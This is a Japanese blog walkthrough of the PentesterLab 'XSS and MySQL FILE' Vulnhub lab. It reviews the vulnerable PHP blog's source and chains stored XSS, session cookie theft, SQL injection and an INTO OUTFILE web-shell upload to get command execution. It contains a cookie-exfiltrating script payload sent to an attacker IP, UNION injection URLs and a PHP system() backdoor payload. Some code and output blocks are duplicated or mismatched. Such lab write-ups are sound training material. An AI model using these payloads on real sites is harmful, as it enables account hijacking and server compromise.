0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【Vulnhub】XSS AND MYSQL FILEをやってみた

Last updated at Posted at 2021-04-08

#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
AWAE/OSWE PREP (Code analysis to gaining rce and automating everything with Python)

#PENTESTER LAB: XSS AND MYSQL FILE

  • サーバー名: Pentester Lab: XSS and MySQL FILE
  • リリース日: 2014年1月29日
  • 作者: Pentester Lab
  • シリーズ: Pentester Lab

攻略プロセスは、以下のとおりです。

  1. XSSで脆弱な機能を見つける。
  2. クッキーを奪う
  3. SQLインジェクション
  4. バックドアのアップロード
  5. RCE

#Index.php
ソースコードを調べていきます。
Index.phpではall()関数がPostクラスから呼び出されています。

Index.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $posts = Post::all();
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
        foreach ($posts as $post) {
            echo $post->render(); 
      } ?> 
     </div>
 
    </div>
  </div>


<?php


  require "footer.php";
?>

grepコマンドでクラスの場所を調べます。

root@debian:/var/www# grep -iRn "Class Post" --color .
./classes/post.php:3:class Post{
root@debian:/var/www# 

-i 大文字と小文字を区別せず検索する
-R ディレクトリ内も検索対象とする
-n 検索結果に行番号を表示する

#Post.php
all()関数を調べていきます。

Post.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
            echo $post->render_with_comments(); 
      ?> 
     </div>

      <form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>"> 
        Title: <input type="text" name="title" / ><br/>
        Author: <input type="text" name="author" / ><br/>
        Text: <textarea name="text" cols="80" rows="5">
        </textarea><br/>
        <input type="submit" name="submit" / >
      </form> 
    </div>

  </div>


<?php

  require "footer.php";
?>

$_GET['id'] の要素に intval() が適用されているため、要素が必ず整数値になります。

Post.php
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">

実際にWebアプリ上で文字列を挿入するとERROR: INTESER REQUIREDと表示されます。

image.png

コメント送信の機能は、post_comment.phpが処理しているようです。

POST /post_comment.php?id=2 HTTP/1.1
Host: 192.168.191.228
Content-Length: 69
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.191.228
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.191.228/post.php?id=2
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

title=test&author=test&text=+test&submit=%26%2336865%3B%26%2320449%3B

#post_comment.php
post.phpクラス、add_comment()関数とfind()関数が利用されています。

post_comment.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
  if (isset($post)) {
    $ret = $post->add_comment();
  }
  header("Location: post.php?id=".intval($_GET['id']));
  die();
?>

find()関数はidパラメータを引数として取得し値が存在するかどうかを確認します。
存在する場合、Postクラスのオブジェクトを作成し、コンストラクタに値を渡します。

post_comment.php
function find($id) {
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;
  
  }

以下がコンストラクタです。

post_comment.php
class Post{
  public $id, $title, $text, $published;
  function __construct($id, $title, $text, $published){
    $this->title= $title;
    $this->text = $text;
    $this->published= $published;
    $this->id = $id;
  }

コンストラクタの引数で渡した値はthis()関数が受け取り、ローカル変数として処理されます。
引数は、以下のコメント送信リクエストで渡される値になります。

title=test&author=text&text=hello+world++++++++&submit=Submit

次はadd_comment()関数を見てみます。

post_comment.php
function add_comment() {
    $sql  = "INSERT INTO comments (title,author, text, post_id) values ('";
    $sql .= mysql_real_escape_string($_POST["title"])."','";
    $sql .= mysql_real_escape_string($_POST["author"])."','";
    $sql .= mysql_real_escape_string($_POST["text"])."',";
    $sql .= intval($this->id).")";
    $result = mysql_query($sql);
    echo mysql_error(); 
  }

POSTリクエストが受けとった値がそのままデータベースに直接保存されているようです。
mysqlにログインして、実際に保存がされているかどうかを確認します。

sudo su
mysql
use blog;
select * from comments;

アウトプット

mysql> select * from comments;
+----+-------+---------------------+---------+-----------+---------+
| id | title | text                | author  | published | post_id |
+----+-------+---------------------+---------+-----------+---------+
|  1 | test  | hello world         | text    | NULL      |       1 |
+----+-------+---------------------+---------+-----------+---------+
1 row in set (0.00 sec)

試しにjavascriptのペイロード<script>document.cookie</script>を挿入してみます。

title=test&author=text&text=<script>document.cookie</script>&submit=Submit

Burpを使いました。

image.png

アウトプット

mysql> select * from comments;
+----+-------+----------------------------------+---------+-----------+---------+
| id | title | text                             | author  | published | post_id |
+----+-------+----------------------------------+---------+-----------+---------+
|  1 | test  | hello world                      | text    | NULL      |       1 |
|  2 | test  | <script>document.cookie</script> | text    | NULL      |       1 |
+----+-------+----------------------------------+---------+-----------+---------+
2 rows in set (0.00 sec)

任意のスクリプトををデータベースに保存することができました。
post.phpを再度確認。

post.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
            echo $post->render_with_comments(); 
      ?> 
     </div>

      <form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>"> 
        Title: <input type="text" name="title" / ><br/>
        Author: <input type="text" name="author" / ><br/>
        Text: <textarea name="text" cols="80" rows="5">
        </textarea><br/>
        <input type="submit" name="submit" / >
      </form> 
    </div>

  </div>


<?php

  require "footer.php";
?>

echo $ post-> render_with_comments();に着目し、render_with_comments()関数を調べていきます。

render_with_comments()関数を調べる。

post.php
function render_with_comments() {
    $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
    $str.= '<div class="inner" style="padding-left: 40px;">';
    $str.= "<p>".htmlentities($this->text)."</p></div>";   
    $str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
    foreach ($this->get_comments() as $comment) {
      $str.= "\n\t<li>".$comment->text."</li>";
    }
    $str.= "\n</ul></div>";
    return $str;
  }

以下のとおり、

post.php
foreach ($this->get_comments() as $comment) {
      $str.= "\n\t<li>".$comment->text."</li>";
    }

textの入力値ががフィルターにかけられずに出力されています。
<script>alert(1);</script>をtext欄に入れて、格納型XSSを実行できるかを試してみます。

image.png

ポップアップを表示できたので、次は以下のペイロードでCookieを取得していきます。

<script>document.write('<img src="http://192.168.79.156:4444/?'+document.cookie+' "/>');</script>

Webサーバーをセットアップし、Cookieを取得します。

┌──(kali㉿kali)-[~]
└─$ python -m SimpleHTTPServer 4444                                              1 ⨯


Serving HTTP on 0.0.0.0 port 4444 ...
192.168.2.100 - - [04/Apr/2021 00:21:39] "GET /?PHPSESSID=epa4dsfi0jq3j1v1fqpmmgidt4 HTTP/1.1" 200 -

Cookieを書き換えAdminページにアクセスします。
image.png

#edit.php
adminディレクトリにアクセスできので、中のファイルを調べていきます。

edit.php
<?php 
  require("../classes/auth.php");
  require("header.php");
  require("../classes/db.php");
  require("../classes/phpfix.php");
  require("../classes/post.php");

  $post = Post::find($_GET['id']);
  if (isset($_POST['title'])) {
    $post->update($_POST['title'], $_POST['text']);
  } 
?>
  
  <form action="edit.php?id=<?php echo htmlentities($_GET['id']);?>" method="POST" enctype="multipart/form-data">
    Title: 
    <input type="text" name="title" value="<?php echo htmlentities($post->title); ?>" /> <br/>
    Text: 
      <textarea name="text" cols="80" rows="5">
        <?php echo htmlentities($post->text); ?>
       </textarea><br/>

    <input type="submit" name="Update" value="Update">

  </form>

<?php
  require("footer.php");

find()関数がclasses/post.phpで使用され、mysqlからデータを取得していることがわかります。
find() 関数を調べます。

edit.php
funcfunction find($id) { 
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;tion find($id) { 
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;

ユーザーの入力値id変数がフィルターなしで直接渡されています。
SQLインジェクションが有効か試してみます。

URL:-http://192.168.191.229/admin/edit.php?id=-1%20union%20select%201,%22we%20got%20it%20boys%22,3,4%23

バックドアをサーバーに保存できるか確認するためwwwディレクトリに書き込み権限があるか確認します。

root@debian:/var/www# ls -lha
total 20K
drwxr-xr-x  6 www-data www-data 210 Jan  2  2014 .
drwxr-xr-x 19 root     root     140 Oct 10  2013 ..
drwxr-xr-x  3 www-data www-data 164 Jan  2  2014 admin
-rw-r--r--  1 www-data www-data 601 Oct 10  2013 all.php
-rw-r--r--  1 www-data www-data 510 Oct 10  2013 cat.php
drwxr-xr-x  2 www-data www-data 114 Jan  2  2014 classes
drwxrwxrwx  2 www-data www-data  67 Jan  2  2014 css
-rw-r--r--  1 www-data www-data 15K Oct 10  2013 favicon.ico
-rw-r--r--  1 www-data www-data 185 Oct 10  2013 footer.php
-rw-r--r--  1 www-data www-data 749 Oct 10  2013 header.php
drwxrwxrwx  2 www-data www-data  30 Jan  2  2014 images
-rw-r--r--  1 www-data www-data 369 Oct 10  2013 index.php
-rw-r--r--  1 www-data www-data 243 Oct 10  2013 post_comment.php
-rw-r--r--  1 www-data www-data 722 Oct 10  2013 post.php
root@debian:/var/www# 

cssimagesディレクトリが書き込み可能でした。

#バックドアのアップロード

まず、cssディレクトリにファイルを書き込むペイロードを作成します。

union select 1,hello world,3,4 into outfile "/var/www/css/lol.php"%23

アウトプット

root@debian:/var/www/css# ls
base.css  default.css  style.css
root@debian:/var/www/css# ls
base.css  default.css  shell.php  style.css
root@debian:/var/www/css# cat lol.php 
1      hello world      3       4
root@debian:/var/www/css#

1,2,3,4カラムが書き込み可能なので、各コラムにリバースシェルをペイロードに挿入します。

union select "<?php","system($_GET['c']);","?>",";" into outfile "/var/www/css/shell.php"%23

アウトプット

root@debian:/var/www/css# ls
base.css  default.css  style.css
root@debian:/var/www/css# ls
base.css  default.css  lol.php  style.css
root@debian:/var/www/css# cat lol.php 
<?php   system($_GET['c']);     ?>      ;
root@debian:/var/www/css# 

コマンドを実行できました。

image.png

#最後に
ソースコード検証の勉強になりました。
シェルを取得の自動化スクリプトも作れるようになりたい。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?